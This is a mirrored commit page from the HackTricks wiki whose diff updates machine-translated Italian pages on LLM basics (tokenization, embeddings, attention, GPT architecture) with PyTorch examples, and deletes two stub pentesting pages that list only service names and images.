maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/

Browse Source
This commit is contained in:
Translator 2025-07-08 13:05:41 +00:00
parent 9369291ab3
commit 2baa5ed8ff
163 changed files with 740 additions and 12438 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

29
src/1911-pentesting-fox.md
View File

@ -1,29 +0,0 @@
# 1911 - Pentesting fox
{{#include ./banners/hacktricks-training.md}}
E altri servizi:
ubiquiti-discover udp "Dispositivo Ubiquiti Networks"
dht udp "Nodi DHT"
5060 udp sip "SIP/"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
![](<images/image (337).png>)
![](<images/image (338).png>)
![](<images/image (339).png>)
![](<images/image (340).png>)
![](<images/image (341).png>)
{{#include ./banners/hacktricks-training.md}}

3
src/6881-udp-pentesting-bittorrent.md
View File

@ -1,3 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
{{#include ./banners/hacktricks-training.md}}

20
src/AI/AI-llm-architecture/0.-basic-llm-concepts.md
View File

@ -1,12 +1,14 @@
# 0. Concetti di base sugli LLM
{{#include /banners/hacktricks-training.md}}
## Pretraining
Il pretraining è la fase fondamentale nello sviluppo di un modello di linguaggio di grandi dimensioni (LLM) in cui il modello è esposto a enormi e diversificati volumi di dati testuali. Durante questa fase, **l'LLM apprende le strutture fondamentali, i modelli e le sfumature del linguaggio**, inclusi grammatica, vocabolario, sintassi e relazioni contestuali. Elaborando questi dati estesi, il modello acquisisce una comprensione ampia del linguaggio e della conoscenza generale del mondo. Questa base completa consente all'LLM di generare testi coerenti e contestualmente rilevanti. Successivamente, questo modello pre-addestrato può subire un fine-tuning, in cui viene ulteriormente addestrato su set di dati specializzati per adattare le sue capacità a compiti o domini specifici, migliorando le sue prestazioni e rilevanza nelle applicazioni mirate.
Il pretraining è la fase fondamentale nello sviluppo di un modello di linguaggio di grandi dimensioni (LLM) in cui il modello è esposto a enormi e diversificati volumi di dati testuali. Durante questa fase, **l'LLM apprende le strutture fondamentali, i modelli e le sfumature del linguaggio**, inclusi grammatica, vocabolario, sintassi e relazioni contestuali. Elaborando questi dati estesi, il modello acquisisce una comprensione ampia del linguaggio e della conoscenza generale del mondo. Questa base completa consente all'LLM di generare testi coerenti e contestualmente rilevanti. Successivamente, questo modello preaddestrato può subire un fine-tuning, in cui viene ulteriormente addestrato su dataset specializzati per adattare le sue capacità a compiti o domini specifici, migliorando le sue prestazioni e rilevanza in applicazioni mirate.
## Componenti principali degli LLM
Di solito, un LLM è caratterizzato dalla configurazione utilizzata per addestrarlo. Questi sono i componenti comuni durante l'addestramento di un LLM:
Di solito, un LLM è caratterizzato dalla configurazione utilizzata per addestrarlo. Questi sono i componenti comuni quando si addestra un LLM:
- **Parametri**: I parametri sono i **pesi e i bias apprendibili** nella rete neurale. Questi sono i numeri che il processo di addestramento regola per minimizzare la funzione di perdita e migliorare le prestazioni del modello sul compito. Gli LLM di solito utilizzano milioni di parametri.
- **Lunghezza del contesto**: Questa è la lunghezza massima di ciascuna frase utilizzata per pre-addestrare l'LLM.
@ -32,25 +34,25 @@ GPT_CONFIG_124M = {
In PyTorch, un **tensor** è una struttura dati fondamentale che funge da array multidimensionale, generalizzando concetti come scalari, vettori e matrici a dimensioni potenzialmente superiori. I tensori sono il modo principale in cui i dati sono rappresentati e manipolati in PyTorch, specialmente nel contesto dell'apprendimento profondo e delle reti neurali.
### Concetto Matematico di Tensors
### Mathematical Concept of Tensors
- **Scalari**: Tensors di rango 0, che rappresentano un singolo numero (zero-dimensionale). Come: 5
- **Vettori**: Tensors di rango 1, che rappresentano un array unidimensionale di numeri. Come: \[5,1]
- **Matrici**: Tensors di rango 2, che rappresentano array bidimensionali con righe e colonne. Come: \[\[1,3], \[5,2]]
- **Tensors di Rango Superiore**: Tensors di rango 3 o superiore, che rappresentano dati in dimensioni superiori (ad esempio, tensori 3D per immagini a colori).
### Tensors come Contenitori di Dati
### Tensors as Data Containers
Da una prospettiva computazionale, i tensori agiscono come contenitori per dati multidimensionali, dove ogni dimensione può rappresentare diverse caratteristiche o aspetti dei dati. Questo rende i tensori altamente adatti per gestire set di dati complessi in compiti di machine learning.
### Tensors di PyTorch vs. Array NumPy
### PyTorch Tensors vs. NumPy Arrays
Sebbene i tensori di PyTorch siano simili agli array NumPy nella loro capacità di memorizzare e manipolare dati numerici, offrono funzionalità aggiuntive cruciali per l'apprendimento profondo:
Sebbene i tensori di PyTorch siano simili agli array di NumPy nella loro capacità di memorizzare e manipolare dati numerici, offrono funzionalità aggiuntive cruciali per l'apprendimento profondo:
- **Differenziazione Automatica**: I tensori di PyTorch supportano il calcolo automatico dei gradienti (autograd), il che semplifica il processo di calcolo delle derivate necessarie per l'addestramento delle reti neurali.
- **Accelerazione GPU**: I tensori in PyTorch possono essere spostati e calcolati su GPU, accelerando significativamente i calcoli su larga scala.
### Creazione di Tensors in PyTorch
### Creating Tensors in PyTorch
Puoi creare tensori utilizzando la funzione `torch.tensor`:
```python
@ -70,7 +72,7 @@ tensor2d = torch.tensor([[1, 2],
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### Tipi di Dati Tensor
### Tipi di Dati dei Tensor
I tensori PyTorch possono memorizzare dati di vari tipi, come interi e numeri in virgola mobile.
@ -283,3 +285,5 @@ Durante il backward pass:
- **Efficienza:** Evita calcoli ridondanti riutilizzando risultati intermedi.
- **Accuratezza:** Fornisce derivate esatte fino alla precisione della macchina.
- **Facilità d'uso:** Elimina il calcolo manuale delle derivate.
{{#include /banners/hacktricks-training.md}}

83
src/AI/AI-llm-architecture/1.-tokenizing.md
View File

@ -1,77 +1,79 @@
# 1. Tokenizzazione
# 1. Tokenizing
## Tokenizzazione
{{#include /banners/hacktricks-training.md}}
**Tokenizzazione** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. A ciascun token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP).
## Tokenizing
**Tokenizing** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. A ciascun token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP).
> [!TIP]
> L'obiettivo di questa fase iniziale è molto semplice: **Dividere l'input in token (ids) in un modo che abbia senso**.
### **Come Funziona la Tokenizzazione**
### **How Tokenizing Works**
1. **Suddivisione del Testo:**
- **Tokenizzatore di Base:** Un tokenizzatore semplice potrebbe suddividere il testo in singole parole e segni di punteggiatura, rimuovendo gli spazi.
- _Esempio:_\
Testo: `"Ciao, mondo!"`\
Token: `["Ciao", ",", "mondo", "!"]`
2. **Creazione di un Vocabolario:**
- Per convertire i token in ID numerici, viene creato un **vocabolario**. Questo vocabolario elenca tutti i token unici (parole e simboli) e assegna a ciascuno un ID specifico.
- **Token Speciali:** Questi sono simboli speciali aggiunti al vocabolario per gestire vari scenari:
1. **Splitting the Text:**
- **Basic Tokenizer:** Un tokenizer semplice potrebbe suddividere il testo in parole individuali e segni di punteggiatura, rimuovendo gli spazi.
- _Example:_\
Testo: `"Hello, world!"`\
Token: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- Per convertire i token in ID numerici, viene creata una **vocabulario**. Questo vocabolario elenca tutti i token unici (parole e simboli) e assegna a ciascuno un ID specifico.
- **Special Tokens:** Questi sono simboli speciali aggiunti al vocabolario per gestire vari scenari:
- `[BOS]` (Inizio Sequenza): Indica l'inizio di un testo.
- `[EOS]` (Fine Sequenza): Indica la fine di un testo.
- `[PAD]` (Padding): Usato per rendere tutte le sequenze in un batch della stessa lunghezza.
- `[UNK]` (Sconosciuto): Rappresenta token che non sono nel vocabolario.
- _Esempio:_\
Se `"Ciao"` è assegnato ID `64`, `","` è `455`, `"mondo"` è `78`, e `"!"` è `467`, allora:\
`"Ciao, mondo!"` → `[64, 455, 78, 467]`
- **Gestione delle Parole Sconosciute:**\
Se una parola come `"Addio"` non è nel vocabolario, viene sostituita con `[UNK]`.\
`"Addio, mondo!"` → `["[UNK]", ",", "mondo", "!"]` → `[987, 455, 78, 467]`\
- _Example:_\
Se `"Hello"` è assegnato ID `64`, `","` è `455`, `"world"` è `78`, e `"!"` è `467`, allora:\
`"Hello, world!"` → `[64, 455, 78, 467]`
- **Handling Unknown Words:**\
Se una parola come `"Bye"` non è nel vocabolario, viene sostituita con `[UNK]`.\
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
_(Assumendo che `[UNK]` abbia ID `987`)_
### **Metodi di Tokenizzazione Avanzati**
### **Advanced Tokenizing Methods**
Mentre il tokenizzatore di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari ampi e nella gestione di parole nuove o rare. I metodi di tokenizzazione avanzati affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione.
Mentre il tokenizer di base funziona bene per testi semplici, ha limitazioni, specialmente con vocabolari ampi e nella gestione di parole nuove o rare. I metodi avanzati di tokenizzazione affrontano questi problemi suddividendo il testo in sottounità più piccole o ottimizzando il processo di tokenizzazione.
1. **Byte Pair Encoding (BPE):**
- **Scopo:** Riduce la dimensione del vocabolario e gestisce parole rare o sconosciute suddividendole in coppie di byte frequentemente occorrenti.
- **Come Funziona:**
- **Purpose:** Riduce la dimensione del vocabolario e gestisce parole rare o sconosciute suddividendole in coppie di byte che si verificano frequentemente.
- **How It Works:**
- Inizia con caratteri individuali come token.
- Unisce iterativamente le coppie di token più frequenti in un singolo token.
- Continua fino a quando non ci sono più coppie frequenti da unire.
- **Vantaggi:**
- **Benefits:**
- Elimina la necessità di un token `[UNK]` poiché tutte le parole possono essere rappresentate combinando token di sottoparola esistenti.
- Vocabolario più efficiente e flessibile.
- _Esempio:_\
`"giocando"` potrebbe essere tokenizzato come `["gioca", "ndo"]` se `"gioca"` e `"ndo"` sono sottoparole frequenti.
- _Example:_\
`"playing"` potrebbe essere tokenizzato come `["play", "ing"]` se `"play"` e `"ing"` sono sottoparole frequenti.
2. **WordPiece:**
- **Usato Da:** Modelli come BERT.
- **Scopo:** Simile a BPE, suddivide le parole in unità di sottoparola per gestire parole sconosciute e ridurre la dimensione del vocabolario.
- **Come Funziona:**
- **Used By:** Modelli come BERT.
- **Purpose:** Simile a BPE, suddivide le parole in unità di sottoparola per gestire parole sconosciute e ridurre la dimensione del vocabolario.
- **How It Works:**
- Inizia con un vocabolario di base di caratteri individuali.
- Aggiunge iterativamente la sottoparola più frequente che massimizza la probabilità dei dati di addestramento.
- Utilizza un modello probabilistico per decidere quali sottoparole unire.
- **Vantaggi:**
- **Benefits:**
- Bilancia tra avere una dimensione del vocabolario gestibile e rappresentare efficacemente le parole.
- Gestisce in modo efficiente parole rare e composte.
- _Esempio:_\
`"infelicità"` potrebbe essere tokenizzato come `["in", "felicità"]` o `["in", "felice", "tà"]` a seconda del vocabolario.
- _Example:_\
`"unhappiness"` potrebbe essere tokenizzato come `["un", "happiness"]` o `["un", "happy", "ness"]` a seconda del vocabolario.
3. **Unigram Language Model:**
- **Usato Da:** Modelli come SentencePiece.
- **Scopo:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile.
- **Come Funziona:**
- **Used By:** Modelli come SentencePiece.
- **Purpose:** Utilizza un modello probabilistico per determinare il set di token di sottoparola più probabile.
- **How It Works:**
- Inizia con un ampio set di token potenziali.
- Rimuove iterativamente i token che migliorano meno la probabilità del modello sui dati di addestramento.
- Finalizza un vocabolario in cui ogni parola è rappresentata dalle unità di sottoparola più probabili.
- **Vantaggi:**
- **Benefits:**
- Flessibile e può modellare il linguaggio in modo più naturale.
- Risultati spesso in tokenizzazioni più efficienti e compatte.
- _Esempio:_\
`"internazionalizzazione"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["internazionale", "izzazione"]`.
- _Example:_\
`"internationalization"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["international", "ization"]`.
## Esempio di Codice
## Code Example
Comprendiamo meglio questo attraverso un esempio di codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download a text to pre-train the model
import urllib.request
@ -93,3 +95,6 @@ print(token_ids[:50])
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

7
src/AI/AI-llm-architecture/2.-data-sampling.md
View File

@ -1,5 +1,7 @@
# 2. Campionamento Dati
{{#include /banners/hacktricks-training.md}}
## **Campionamento Dati**
Il **Campionamento Dati** è un processo cruciale nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT. Comporta l'organizzazione dei dati testuali in sequenze di input e target che il modello utilizza per imparare a prevedere la parola successiva (o token) basandosi sulle parole precedenti. Un corretto campionamento dei dati assicura che il modello catturi efficacemente i modelli linguistici e le dipendenze.
@ -9,7 +11,7 @@ Il **Campionamento Dati** è un processo cruciale nella preparazione dei dati pe
### **Perché il Campionamento Dati è Importante**
I LLM come GPT sono addestrati a generare o prevedere testo comprendendo il contesto fornito dalle parole precedenti. Per raggiungere questo obiettivo, i dati di addestramento devono essere strutturati in modo che il modello possa apprendere la relazione tra sequenze di parole e le loro parole successive. Questo approccio strutturato consente al modello di generalizzare e generare testo coerente e contestualmente rilevante.
Gli LLM come GPT sono addestrati a generare o prevedere testo comprendendo il contesto fornito dalle parole precedenti. Per raggiungere questo obiettivo, i dati di addestramento devono essere strutturati in modo che il modello possa apprendere la relazione tra sequenze di parole e le loro parole successive. Questo approccio strutturato consente al modello di generalizzare e generare testo coerente e contestualmente rilevante.
### **Concetti Chiave nel Campionamento Dati**
@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807],
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

13
src/AI/AI-llm-architecture/3.-token-embeddings.md
View File

@ -1,12 +1,14 @@
# 3. Token Embeddings
{{#include /banners/hacktricks-training.md}}
## Token Embeddings
Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e da cui può apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token.
Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token.
> [!TIP]
> L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario avrà un punto in uno spazio di X dimensioni.\
> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
> Si noti che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
>
> Inoltre, durante il token embedding **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa.
@ -72,7 +74,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
### **Come Funzionano gli Embedding dei Token Durante l'Addestramento**
Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di reti neurali.
Durante l'addestramento, ogni token nei dati di input viene convertito nel suo corrispondente vettore di embedding. Questi vettori vengono poi utilizzati in vari calcoli all'interno del modello, come meccanismi di attenzione e strati di rete neurale.
**Scenario Esemplare:**
@ -118,7 +120,7 @@ cssCopy codeBatch
```
**Spiegazione:**
- Ogni token nella sequenza è rappresentato da un vettore a 256 dimensioni.
- Ogni token nella sequenza è rappresentato da un vettore di 256 dimensioni.
- Il modello elabora questi embedding per apprendere i modelli linguistici e generare previsioni.
## **Embedding Posizionali: Aggiungere Contesto agli Embedding dei Token**
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

33
src/AI/AI-llm-architecture/4.-attention-mechanisms.md
View File

@ -1,5 +1,7 @@
# 4. Meccanismi di Attenzione
{{#include /banners/hacktricks-training.md}}
## Meccanismi di Attenzione e Auto-Attenzione nelle Reti Neurali
I meccanismi di attenzione consentono alle reti neurali di **concentrarsi su parti specifiche dell'input durante la generazione di ciascuna parte dell'output**. Assegnano pesi diversi a diversi input, aiutando il modello a decidere quali input sono più rilevanti per il compito in questione. Questo è cruciale in compiti come la traduzione automatica, dove comprendere il contesto dell'intera frase è necessario per una traduzione accurata.
@ -26,7 +28,7 @@ L'auto-attenzione, o intra-attention, è un meccanismo in cui l'attenzione viene
- **Embeddings**: Rappresentazioni vettoriali dei token, che catturano informazioni semantiche.
- **Pesi di Attenzione**: Valori che determinano l'importanza di ciascun token rispetto agli altri.
### Calcolo dei Pesi di Attenzione: Un Esempio Passo dopo Passo
### Calcolo dei Pesi di Attenzione: Un Esempio Passo-Passo
Consideriamo la frase **"Hello shiny sun!"** e rappresentiamo ciascuna parola con un embedding a 3 dimensioni:
@ -68,7 +70,7 @@ Applica la **funzione softmax** ai punteggi di attenzione per convertirli in pes
Calcolando gli esponenziali:
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Calcolando la somma:
@ -81,7 +83,7 @@ Calcolando i pesi di attenzione:
#### Passo 3: Calcolare il Vettore di Contesto
> [!TIP]
> Basta prendere ciascun peso di attenzione e moltiplicarlo per le dimensioni del token correlato e poi sommare tutte le dimensioni per ottenere solo 1 vettore (il vettore di contesto)
> Basta prendere ciascun peso di attenzione e moltiplicarlo per le dimensioni del token correlate e poi sommare tutte le dimensioni per ottenere solo 1 vettore (il vettore di contesto)
Il **vettore di contesto** è calcolato come la somma pesata degli embeddings di tutte le parole, utilizzando i pesi di attenzione.
@ -119,7 +121,7 @@ In pratica, i meccanismi di auto-attenzione utilizzano **pesi addestrabili** per
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
La query è i dati da utilizzare come prima, mentre le matrici di chiavi e valori sono semplicemente matrici casuali addestrabili.
La query è i dati da utilizzare come prima, mentre le matrici di chiavi e valori sono semplicemente matrici addestrabili casuali.
#### Passo 1: Calcolare Query, Chiavi e Valori
@ -153,15 +155,15 @@ queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### Passo 2: Calcola l'Attenzione a Prodotto Scalato
#### Step 2: Calcola l'attenzione scalata a prodotto scalare
**Calcola i Punteggi di Attenzione**
**Calcola i punteggi di attenzione**
Simile all'esempio precedente, ma questa volta, invece di utilizzare i valori delle dimensioni dei token, utilizziamo la matrice chiave del token (già calcolata utilizzando le dimensioni):. Quindi, per ogni query `qi`​ e chiave `kj​`:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**Scala i Punteggi**
**Scala i punteggi**
Per evitare che i prodotti scalari diventino troppo grandi, scalali per la radice quadrata della dimensione della chiave `dk`​:
@ -170,17 +172,17 @@ Per evitare che i prodotti scalari diventino troppo grandi, scalali per la radic
> [!TIP]
> Il punteggio è diviso per la radice quadrata delle dimensioni perché i prodotti scalari potrebbero diventare molto grandi e questo aiuta a regolarli.
**Applica Softmax per Ottenere i Pesi di Attenzione:** Come nell'esempio iniziale, normalizza tutti i valori in modo che sommino 1.
**Applica Softmax per ottenere i pesi di attenzione:** Come nell'esempio iniziale, normalizza tutti i valori in modo che sommino 1.
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Passo 3: Calcola i Vettori di Contesto
#### Step 3: Calcola i vettori di contesto
Come nell'esempio iniziale, somma semplicemente tutte le matrici di valori moltiplicando ciascuna per il suo peso di attenzione:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### Esempio di Codice
### Esempio di codice
Prendendo un esempio da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) puoi controllare questa classe che implementa la funzionalità di auto-attenzione di cui abbiamo parlato:
```python
@ -226,7 +228,7 @@ print(sa_v2(inputs))
## Causal Attention: Nascondere le Parole Future
Per i LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il prossimo token**. **Causal attention**, nota anche come **masked attention**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri.
Per gli LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il prossimo token**. **Causal attention**, nota anche come **masked attention**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri.
### Applicare una Maschera di Causal Attention
@ -248,7 +250,7 @@ masked_scores = attention_scores + mask
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Mascherare Ulteriori Pesi di Attenzione con Dropout
### Mascherare Pesi di Attenzione Aggiuntivi con Dropout
Per **prevenire l'overfitting**, possiamo applicare **dropout** ai pesi di attenzione dopo l'operazione softmax. Il dropout **azzera casualmente alcuni dei pesi di attenzione** durante l'addestramento.
```python
@ -404,13 +406,16 @@ print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
Per un'altra implementazione compatta ed efficiente, puoi utilizzare la [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) classe in PyTorch.
Per un'implementazione compatta ed efficiente, puoi utilizzare la classe [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) in PyTorch.
> [!TIP]
> Risposta breve di ChatGPT su perché è meglio dividere le dimensioni dei token tra le teste invece di far controllare a ciascuna testa tutte le dimensioni di tutti i token:
>
> Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa ad apprendere rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni.
> Sebbene consentire a ciascuna testa di elaborare tutte le dimensioni di embedding possa sembrare vantaggioso perché ogni testa avrebbe accesso a tutte le informazioni, la pratica standard è **dividere le dimensioni di embedding tra le teste**. Questo approccio bilancia l'efficienza computazionale con le prestazioni del modello e incoraggia ciascuna testa a imparare rappresentazioni diverse. Pertanto, dividere le dimensioni di embedding è generalmente preferito rispetto a far controllare a ciascuna testa tutte le dimensioni.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

53
src/AI/AI-llm-architecture/5.-llm-architecture.md
View File

@ -1,5 +1,7 @@
# 5. Architettura LLM
{{#include /banners/hacktricks-training.md}}
## Architettura LLM
> [!TIP]
@ -17,8 +19,8 @@ Una rappresentazione ad alto livello può essere osservata in:
2. **Layer di Embedding dei Token e Layer di Embedding Posizionale**: Il testo tokenizzato passa attraverso un **layer di embedding dei token** e un **layer di embedding posizionale**, che cattura la posizione dei token in una sequenza, fondamentale per comprendere l'ordine delle parole.
3. **Blocchi Transformer**: Il modello contiene **12 blocchi transformer**, ognuno con più livelli. Questi blocchi ripetono la seguente sequenza:
- **Attenzione Multi-Testa Mascherata**: Consente al modello di concentrarsi su diverse parti del testo di input contemporaneamente.
- **Normalizzazione del Livello**: Un passaggio di normalizzazione per stabilizzare e migliorare l'addestramento.
- **Layer Feed Forward**: Responsabile dell'elaborazione delle informazioni dal layer di attenzione e della formulazione di previsioni sul token successivo.
- **Normalizzazione del Livello**: Un passo di normalizzazione per stabilizzare e migliorare l'addestramento.
- **Layer Feed Forward**: Responsabile dell'elaborazione delle informazioni dal layer di attenzione e della previsione del token successivo.
- **Layer di Dropout**: Questi layer prevengono l'overfitting eliminando casualmente unità durante l'addestramento.
4. **Layer di Output Finale**: Il modello produce un **tensore di dimensione 4x50,257**, dove **50,257** rappresenta la dimensione del vocabolario. Ogni riga in questo tensore corrisponde a un vettore che il modello utilizza per prevedere la prossima parola nella sequenza.
5. **Obiettivo**: L'obiettivo è prendere questi embedding e convertirli di nuovo in testo. In particolare, l'ultima riga dell'output viene utilizzata per generare la prossima parola, rappresentata come "forward" in questo diagramma.
@ -211,7 +213,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
#### **Scopo e Funzionalità**
- **GELU (Gaussian Error Linear Unit):** Una funzione di attivazione che introduce non linearità nel modello.
- **Attivazione Liscia:** A differenza di ReLU, che annulla gli input negativi, GELU mappa gli input agli output in modo fluido, consentendo valori piccoli e diversi da zero per gli input negativi.
- **Attivazione Liscia:** A differenza di ReLU, che annulla gli input negativi, GELU mappa dolcemente gli input sugli output, consentendo valori piccoli e non nulli per gli input negativi.
- **Definizione Matematica:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -244,13 +246,13 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
#### **Scopo e Funzionalità**
- **Rete FeedForward a livello di posizione:** Applica una rete completamente connessa a due strati a ciascuna posizione separatamente e in modo identico.
- **Dettagli del Livello:**
- **Primo Livello Lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`.
- **Dettagli del livello:**
- **Primo livello lineare:** Espande la dimensionalità da `emb_dim` a `4 * emb_dim`.
- **Attivazione GELU:** Applica non linearità.
- **Secondo Livello Lineare:** Riduce la dimensionalità di nuovo a `emb_dim`.
- **Secondo livello lineare:** Riduce la dimensionalità di nuovo a `emb_dim`.
> [!TIP]
> Come puoi vedere, la rete Feed Forward utilizza 3 strati. Il primo è uno strato lineare che moltiplicherà le dimensioni per 4 utilizzando pesi lineari (parametri da addestrare all'interno del modello). Poi, la funzione GELU è utilizzata in tutte quelle dimensioni per applicare variazioni non lineari per catturare rappresentazioni più ricche e infine un altro strato lineare è utilizzato per tornare alla dimensione originale.
> Come puoi vedere, la rete Feed Forward utilizza 3 strati. Il primo è uno strato lineare che moltiplicherà le dimensioni per 4 utilizzando pesi lineari (parametri da addestrare all'interno del modello). Poi, la funzione GELU viene utilizzata in tutte quelle dimensioni per applicare variazioni non lineari per catturare rappresentazioni più ricche e infine un altro strato lineare viene utilizzato per tornare alla dimensione originale.
### **Meccanismo di Attenzione Multi-Testa**
@ -258,22 +260,22 @@ Questo è già stato spiegato in una sezione precedente.
#### **Scopo e Funzionalità**
- **Auto-Attenzione Multi-Testa:** Permette al modello di concentrarsi su diverse posizioni all'interno della sequenza di input quando codifica un token.
- **Auto-Attenzione Multi-Testa:** Consente al modello di concentrarsi su diverse posizioni all'interno della sequenza di input durante la codifica di un token.
- **Componenti Chiave:**
- **Query, Chiavi, Valori:** Proiezioni lineari dell'input, utilizzate per calcolare i punteggi di attenzione.
- **Teste:** Molteplici meccanismi di attenzione che funzionano in parallelo (`num_heads`), ciascuno con una dimensione ridotta (`head_dim`).
- **Punteggi di Attenzione:** Calcolati come il prodotto scalare di query e chiavi, scalati e mascherati.
- **Mascheramento:** Una maschera causale è applicata per impedire al modello di prestare attenzione ai token futuri (importante per modelli autoregressivi come GPT).
- **Mascheramento:** Viene applicata una maschera causale per impedire al modello di prestare attenzione ai token futuri (importante per modelli autoregressivi come GPT).
- **Pesi di Attenzione:** Softmax dei punteggi di attenzione mascherati e scalati.
- **Vettore di Contesto:** Somma pesata dei valori, secondo i pesi di attenzione.
- **Proiezione di Uscita:** Livello lineare per combinare le uscite di tutte le teste.
- **Proiezione di Output:** Strato lineare per combinare le uscite di tutte le teste.
